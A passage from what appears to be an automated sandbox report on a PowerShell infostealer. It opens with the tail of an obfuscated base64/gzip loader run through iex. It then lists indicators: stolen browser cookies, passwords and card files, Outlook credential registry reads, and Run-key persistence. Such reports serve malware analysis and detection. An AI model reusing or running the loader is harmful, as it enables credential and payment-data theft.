IgBrAGkAdwBpAGwAZQBtAG8AbjkemhazxgpgAiACwAIgAiAC0AcgBlAHAAbABhAGMAZQAijkemhazxgpAHIAdwBoAGkAYQBzAHcAeQBvAGoAbgB0AG0jkemhazxgpAeQB0ACIALAAiACIAKQA7AGkAZgAoACQAYQjkemhazxgpBwAHAAbABlACkAewB0AHIAeQB7AGkAZQB4AjkemhazxgpCgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAjkemhazxgpbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBjkemhazxgpHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAGjkemhazxgp4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYjkemhazxgpQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhjkemhazxgpAHAAcABsAGUAKQApACkAfQBjAGEAdABjAGgjkemhazxgpAewB9AH0AfQAKACQAbwByAGEAbgBnAGUAPQjkemhazxgpAnAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAjkemhazxgpEEASgBWAFUAYQAyACsAYgBNAEIAVAA5AEsAjkemhazxgpOQBiAEUARgBOAGcAeQBxADQAOQBwADcAUgBjkemhazxgpMAHgASQBhAEcAdgByAE8AMABhAEoAZQBrAHjkemhazxgpEATABhADAAbQBBADUAZgBFAEEAVwB4AG0ATjkemhazxgpwB5AFIAcwA2AG4AKwBmAE0AZQBUAFIAdABGjkemhazxgpAG8AMwBQAGkAQwA0AFAAdQBmAGMANgArAE4jkemhazxgpANwBiAFUAVwBGAEEASQA1AGMAWgBBAEgATAjkemhazxgpBXADcAZgBEADAAOABIAFgAegB2AFYAcAAyAjkemhazxgpDAAbwBnAEoAcgBrAE8AdgAvAEYAYQA5ADcAjkemhazxgpYwBTAGgATAB5ADMARABQAEsAZQA4AEEARAAjkemhazxgp3AFIATAAxAHAAUgAzAE0AVwBLAE0AbwBaAFjkemhazxgpcAawBEAEkAYgBTAHMAagBnAHEAUQAvAGMAajkemhazxgpQBLAGMAMwAwAGcALwBGAGcARgBaAC8AcgBujkemhazxgpAGoAWQBTAEUAVgBwAEgAZwBJAHcAVgB4AFEjkemhazxgpAVgBXAEIAUABGAEoAbgBpAEUAMABHAHkAYQjkemhazxgpBZAEUANwBJAEIAOQBhAEwAVQA4AEEAVQBXAjkemhazxgpEEANwA3AFcAMABtAHYAdQBZAGgAdgBFAEwAjkemhazxgpMwBhAEQAWQBGAFUAUQBKAEwAbABhADcAMwBjkemhazxgpWAEsAQgBQAHcAcABDAHkAeQBTAHMAYQBOAGjkemhazxgpEAbwBXADYAVgA5ADYAdwA2AE8AbgBNAHAAZjkemhazxgpABRAHIAQwBVADgAegBuAEkAUQBTAGcAUABQjkemhazxgpAEIARQArADcAUgBNAEsAbgBqADAATQBsAE4jkemhazxgpATgA5AHUAcwBGADUALwAvADMAegBJACsAcwjkemhazxgpBjAEgAWABaAEgAZQBEAG0AaABuAGMAVQBtAjkemhazxgpFAAUgB4ACsAbgA1ADEASAArAC8AaQBMAG8AjkemhazxgpZgAvAGEAKwB6AEkANAB2AHoAbgBqAFEAUAAjkemhazxgp0ADcAZAB4AHMANQBlAGUAOQAvACsASwBjAFjkemhazxgpYANQBiACsAOABnAEoAVQBkADMAaAAvAEUAcjkemhazxgpwA2AGsAYgBoAGQAegBiAHoAcgBnADgAWAA3jkemhazxgpAGwAbwB1AGgATQBCAHMAVABSAGoAcgAxACsjkemhazxgpAcQBWAHYAeQBlAHIAeABaAFgAUgBBAHQAUgjkemhazxgpBjAHMAQQByADYAaABJAGwASABnAGoAQQBaAjkemhazxgpGMAWgBHAGUAVQBVAGEAUwBiAHMASwBEAGUAjkemhazxgpTwB1AEUAbQAyAGkAdgBpAFQAYQAvACsAQQBjkemhazxgpyAFkAUgBFADEAZgBLAGcARwBmAFUASgBsAHjkemhazxgpgAKwBlAHgAbwBkADgASwBiAFEAdABxAFAANjkemhazxgpgA3AFkAUwAwAHMALwBqADUAMwAzADEAawA2jkemhazxgpAFYAeQA0AG4ANgBGAHgAWQBjAGIAZgB3AGEjkemhazxgpAQgBRAHIAVgB0AHYAUgB0ADgARABTAGsAWAjkemhazxgpBoAGYAWQBLAFMARwBvADMAdAA1AGgAVgBGAjkemhazxgpGoAOABGAE4AbgArAGQAVwBWAGUANgBqAE4AjkemhazxgpagAwAFoAYgBEAEgAMAAwAHkAQQBsAEwAcABjkemhazxgpJAGYAUAA2AGQAWgBuAFgAQwBxAHIASQBtAEjkemhazxgpcAdQA5AEEAdAByADcAcgBIAHQATQBIAFUAYjkemhazxgpwBlAGMAcgBXAFEAYQBtAEIAVQBqAFAAVQBtjkemhazxgpAG0AegBpAGMAcgBPADMAYQBaAFIATAB0AEIjkemhazxgpAdwAzAG8ANQBPAE8ASQBkAEkAVQBpAGgAZwjkemhazxgpB4AHQAMwA0ADQASgBtADIAMABkAGEAZgBSAjkemhazxgpDUAcwBHAFMAMwBKAEwASQA3AFgAWABUAG0AjkemhazxgpQQBLAEEARgBEAHgAUgAwAHAASQBmAFcAVABjkemhazxgpRAHUALwBrAGkAcABQAFEASAB2AHUARgBnAHjkemhazxgpYASABEAHcAegBQAEQAVwBWAGgARQAzAEsAMjkemhazxgpgBFADgAQwBsAFQAbwB1AGgAegB5AHQAVABXjkemhazxgpAEkAdQA2AHgAbgBNAGQAZwBXADIAeQBlAEojkemhazxgpASwB1AGUAcQBvAHAAbwBQADEAcABUAEwAaAjkemhazxgpBXACsANwBlAEUAQgBXAGUAagAzAEgAVwBVAjkemhazxgpGgAWAA0AHkAbwBTAHEAQwA4AHIAcwB3AEYAjkemhazxgpMQBiAGIAbQB3AGQATABmAFQATABpADIALwBjkemhazxgpvAHcAbQBwAGMAYwBEAEkARwBFAG4AUwBVAGjkemhazxgpEAdwBWAEgAYQBGAGQAZgBBAHcAUwA2AGkAejkemhazxgpQB4ADYAYwBzAHAANABJAHoAYgBVADAANQBajkemhazxgpAFAAcQBJAHIAeQBnAEQAcAA2ADMAYgBIAFUjkemhazxgpAZwB3AFIAYgBhAGwAZgBMAGIAawBpAEQASgjkemhazxgpBVAHEAVAB2AEkARwBFAEsAagAxAFIASQBlAjkemhazxgpEsAaQBLAFUAdgBLAE4AcQBhAGoAZABhAEwAjkemhazxgpZABSAHcAbgBCAEoAZwBVAEcAWgB2AHMAMQAjkemhazxgp4AFQAUABuAEYAWAA0AEwAawB2AHEALwBFADjkemhazxgpkAcgBIAHcAcABIADEALwBuAGkAcwAzAGYANjkemhazxgpAA2AE0AbABrADIATAB1AGoAaQB0AFEANgBhjkemhazxgpAE8AaAAxADkAVQAyADcAdgBWAHMAVwB3AFgjkemhazxgpAeABKADUARgByAEoAZwBMAFoANQBYADIATAjkemhazxgpA3AFAARgBmADcAZwBtAGoATwBOADUANwBjAjkemhazxgpEIAegBOAGoAZgBJAFoALwAxAC8AcQB2AHEAjkemhazxgpRwBXAFAAWQBLAHEAMwBNAGkAYwBVAEIAMABjkemhazxgpwAEYAWgBIAGQAMwBGAFMATQA3AE0AYgBiAGjkemhazxgpQAOQBxAEYAOQBoACsAMABaADEAeABpAFQAZjkemhazxgpwBZAEEAQQBBAD0APQAnADsAJABtAGEAbgBnjkemhazxgpAG8APQBbAEMAbwBuAHYAZQByAHQAXQA6ADojkemhazxgpARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgjkemhazxgpBpAG4AZwAoACQAbwByAGEAbgBnAGUAKQA7AjkemhazxgpCQAcABpAG4AZQBhAHAAcABsAGUAPQBOAGUAjkemhazxgpdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBjkemhazxgplAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACjkemhazxgpQAbQBhAG4AZwBvACkAOwBpAGUAeAAoAE4AZjkemhazxgpQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTjkemhazxgpAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4jkemhazxgpAZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgjkemhazxgpBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAjkemhazxgpFoAaQBwAFMAdAByAGUAYQBtACgAJABwAGkAjkemhazxgpbgBlAGEAcABwAGwAZQAsAFsASQBPAC4AQwBjkemhazxgpvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAGjkemhazxgp0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXjkemhazxgpQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApjkemhazxgpACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgjkemhazxgpAKQAKAA=='.Replace('jkemhazxgp','')))))""" (UID: 00000000-00005280)5c:T5b2,Found XOR loop in file "powershell.exe" at offset 11303; code bytes = 33c1 Found XOR loop in file "powershell.exe" at offset 297635; code bytes = 33c1 Found XOR loop in file "powershell.exe" at offset 298667; code bytes = 33c1 Found XOR loop in file "powershell.exe" at offset 84480; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 93857; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 219209; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 219213; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 220201; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 221093; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 222013; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 224049; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 226089; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 264881; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 265905; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 267957; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 271029; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 274109; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 311017; code bytes = 8030 Found XOR loop in file "powershell.exe" at offset 438893; code bytes = 80305d:T576,"powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_0ebimrl4.s0l.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_kywnlxjb.0sx.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6c4de12867b7e197d0a60f5d4888eb3a\Chromium_cookies_JWTWnTlCnQ45w33_2025-10-10_06.07.08.json" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6c4de12867b7e197d0a60f5d4888eb3a\Chromium_credit_cards_JWTWnTlCnQ45w33_2025-10-10_06.07.08.txt" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6c4de12867b7e197d0a60f5d4888eb3a\Chromium_passwords_JWTWnTlCnQ45w33_2025-10-10_06.07.08.txt" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6c4de12867b7e197d0a60f5d4888eb3a\FileZilla_JWTWnTlCnQ45w33_2025-10-10_06.09.53.txt" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6c4de12867b7e197d0a60f5d4888eb3a\Gecko_cookies_JWTWnTlCnQ45w33_2025-10-10_06.09.53.json" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6c4de12867b7e197d0a60f5d4888eb3a\Gecko_credit_cards_JWTWnTlCnQ45w33_2025-10-10_06.09.53.txt" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6c4de12867b7e197d0a60f5d4888eb3a\Gecko_passwords_JWTWnTlCnQ45w33_2025-10-10_06.09.53.txt" for deletion5e:T14d7,"powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP EMAIL ADDRESS") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP SERVER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 SERVER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 USER NAME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP USER NAME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP EMAIL ADDRESS") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP USER NAME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP SERVER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP SERVER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP USER NAME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "EMAIL") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTP USER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTP SERVER URL") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 USER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP USER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL USER NAME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL SERVER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP USER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 PASSWORD2") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP PASSWORD2") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP PASSWORD2") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL PASSWORD2") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP PASSWORD2") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 PASSWORD") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP PASSWORD") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP PASSWORD") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL PASSWORD") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP PASSWORD") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP EMAIL ADDRESS") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP SERVER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "POP3 SERVER") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "POP3 USER NAME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "SMTP USER NAME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "NNTP EMAIL ADDRESS")5f:Td78,Found api reference "CryptImportKey" (Indicator: "CryptImportKey"; Source: "00000000-00001064.00000000.123429.F86E0000.00000004.mdmp") Found api reference "CryptExportKey" (Indicator: "CryptExportKey"; Source: "00000000-00001064.00000000.123429.F86E0000.00000004.mdmp") Found api reference "BCryptCreateHash" (Indicator: "BCryptCreateHash"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "BCryptGetProperty" (Indicator: "BCryptGetProperty"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp") Found api reference "BCryptFinishHash" (Indicator: "BCryptFinishHash"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "BCryptDestroyHash"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHash"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHashData"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp") Found api reference "CryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "CryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp")60:T758,Found reference to API "MpDefenderIsPrintAccessCheckNeeded" (Indicator: "AccessCheck"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found reference to API "MpDefenderPrintAccessCheck" (Indicator: "AccessCheck"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00001064.00000002.127271.52DFA000.00000002.mdmp")61:Tca3,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT\SETTINGS\TELEMETRY\WSCRIPT.EXE"; Key: "VBSCRIPTSETSCRIPTSTATESTARTED"; Value: "CFD022360000000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7382DE3D2DA5DC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "917B793E2DA5DC010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "POWERSHELL"; Value: "%APPDATA%\powershell.exe") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ASP.NET_4.0.30319\NAMES"; Key: "BZUDWYDRFGEEBKZLDKMEI0U0GGDJAZB4VHSUDUFRRVLO2Y77PBNPG8C4FCGGXCZ2VKECBQLN16VHYZUT3SKKJQSBFHHE3E9TB60H4GCTEMDQ4QP8CUGQRM"; Value: "2804000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing")62:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") 